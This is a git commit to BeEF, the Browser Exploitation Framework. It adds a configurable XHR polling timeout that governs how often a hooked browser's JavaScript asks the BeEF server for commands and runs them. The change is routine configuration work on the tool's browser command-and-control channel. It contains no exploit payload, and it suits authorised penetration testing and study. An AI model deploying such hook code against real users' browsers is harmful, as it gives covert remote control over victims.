Added xhr_poll_timeout config to the main config.yaml. This can now be used to decrease/increase polling timeout for the normal XHR-polling communication.

This commit is contained in:
antisnatchor
2012-11-21 06:37:41 +00:00
parent 011bb0e94b
commit 4b6130a315
3 changed files with 12 additions and 7 deletions

View File

@@ -20,6 +20,10 @@ beef:
debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace. debug: false #Thin::Logging.debug, very verbose. Prints also full exception stack trace.
host: "0.0.0.0" host: "0.0.0.0"
port: "3000" port: "3000"
# Decrease this setting up to 1000 if you want more responsiveness when sending modules and retrieving results.
# It's not advised to decrease it with tons of hooked browsers (more than 50),
# because it might impact performance. Also, enable WebSockets is generally better.
xhr_poll_timeout: 5000
# if running behind a nat set the public ip address here # if running behind a nat set the public ip address here
#public: "" #public: ""
#public_port: "" # port setting is experimental #public_port: "" # port setting is experimental
@@ -34,7 +38,7 @@ beef:
enable: false enable: false
secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF secure: true # use WebSocketSecure work only on https domain and whit https support enabled in BeEF
port: 61985 # WS: good success rate through proxies port: 61985 # WS: good success rate through proxies
secure_port: 61986 # WSS secure_port: 61986 # WSSecure
ws_poll_timeout: 1000 # poll BeEF every second ws_poll_timeout: 1000 # poll BeEF every second
# Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header) # Imitate a specified web server (default root page, 404 default error page, 'Server' HTTP response header)

View File

@@ -14,7 +14,7 @@ beef.updater = {
// Low timeouts combined with the way the framework sends commamd modules result // Low timeouts combined with the way the framework sends commamd modules result
// in instructions being sent repeatedly or complex code. // in instructions being sent repeatedly or complex code.
// If you suffer from ADHD, you can decrease this setting. // If you suffer from ADHD, you can decrease this setting.
timeout: 5000, xhr_poll_timeout: "<%= @xhr_poll_timeout %>",
// A lock. // A lock.
lock: false, lock: false,
@@ -42,22 +42,20 @@ beef.updater = {
beef.net.flush(); beef.net.flush();
if(beef.commands.length > 0) { if(beef.commands.length > 0) {
this.execute_commands(); this.execute_commands();
} }else {
else {
this.get_commands(); /*Polling*/ this.get_commands(); /*Polling*/
} }
} }
// ( typeof beef.websocket === "undefined") // ( typeof beef.websocket === "undefined")
setTimeout("beef.updater.check();", beef.updater.timeout); setTimeout("beef.updater.check();", beef.updater.xhr_poll_timeout);
}, },
// Gets new commands from the framework. // Gets new commands from the framework.
get_commands: function(http_response) { get_commands: function(http_response) {
try { try {
this.lock = true; this.lock = true;
beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 1, 'script', function(response) { beef.net.request(beef.net.httpproto, 'GET', beef.net.host, beef.net.port, beef.net.hook, null, 'BEEFHOOK='+beef.session.get_hook_session_id(), 5, 'script', function(response) {
if (response.body != null && response.body.length > 0) if (response.body != null && response.body.length > 0)
beef.updater.execute_commands(); beef.updater.execute_commands();
}); });

View File

@@ -69,6 +69,9 @@ module BeEF
hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host) hook_session_config['beef_url'].sub!(/0\.0\.0\.0/, req_host)
end end
# @note set the XHR-polling timeout
hook_session_config['xhr_poll_timeout'] = config.get("beef.http.xhr_poll_timeout")
# @note if http_port <> public_port in config ini, use the public_port # @note if http_port <> public_port in config ini, use the public_port
unless hook_session_config['beef_public_port'].nil? unless hook_session_config['beef_public_port'].nil?
if hook_session_config['beef_port'] != hook_session_config['beef_public_port'] if hook_session_config['beef_port'] != hook_session_config['beef_public_port']